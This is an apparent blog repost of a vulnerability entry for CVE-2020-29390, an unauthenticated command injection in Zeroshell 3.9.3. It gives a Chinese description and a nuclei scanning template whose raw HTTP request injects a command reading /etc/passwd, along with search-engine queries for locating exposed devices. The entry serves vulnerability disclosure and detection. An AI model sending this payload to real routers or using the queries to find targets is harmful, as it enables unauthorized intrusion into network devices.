Zeroshell 393 - Command Injection

漏洞信息

漏洞名称: Zeroshell 3.9.3 - Command Injection

漏洞编号:

  • CVE: CVE-2020-29390

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: Zeroshell是一款基于Linux的路由器操作系统,广泛用于企业网络环境中,提供路由、防火墙、VPN等功能。由于其部署在网络边界,安全性至关重要。该系统中存在一个命令注入漏洞,位于/cgi-bin/kerbynet的StartSessionSubmit参数中。攻击者可以通过构造特定的HTTP请求,利用shell元字符和%0a字符,无需认证即可在目标系统上执行任意命令。此漏洞的根源在于对用户输入的不当处理,未能有效过滤或转义特殊字符,导致攻击者可以注入恶意命令。成功利用此漏洞的攻击者可以完全控制受影响的系统,执行任意代码,可能导致数据泄露、服务中断或其他恶意活动。由于漏洞利用无需认证,且可以远程触发,因此风险极高。建议用户立即升级到最新版本或应用供应商提供的安全补丁。

产品厂商: zeroshell

产品名称: zeroshell

影响版本: 3.9.3

搜索语法: http.title:”zeroshell”

来源: https://github.com/projectdiscovery/nuclei-templates/blob/146eebb7ff5a3e6aa73541a39dbb4af0cccb3135/http%2Fcves%2F2020%2FCVE-2020-29390.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

id: CVE-2020-29390

info:
name: Zeroshell 3.9.3 - Command Injection
author: DhiyaneshDk
severity: critical
description: |
Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.
impact: |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the target system.
remediation: |
Upgrade to the latest version of Zeroshell or apply security patches provided by the vendor.
reference:
- https://web.archive.org/web/20210303043709/https://blog.quake.so/post/zeroshell_linux_router_rce/
- https://www.exploit-db.com/exploits/41040
- https://nvd.nist.gov/vuln/detail/CVE-2020-29390
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-29390
cwe-id: CWE-78
epss-score: 0.40234
epss-percentile: 0.97171
cpe: cpe:2.3:o:zeroshell:zeroshell:3.9.3:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zeroshell
product: zeroshell
shodan-query: http.title:"zeroshell"
fofa-query: title="zeroshell"
google-query: intitle:"zeroshell"
tags: cve,cve2020,zeroshell,rce,router,kev

http:
- raw:
- |
GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User=%27%26cat%20/etc/passwd%26%27&PW= HTTP/1.1
Host: {{Hostname}}

matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"

- type: word
part: body
words:
- "<title>Start Session</title>"

- type: status
status:
- 200



Zeroshell 393 - Command Injection
http://example.com/2025/07/16/github_3701261398/
作者
lianccc
发布于
2025年7月16日
许可协议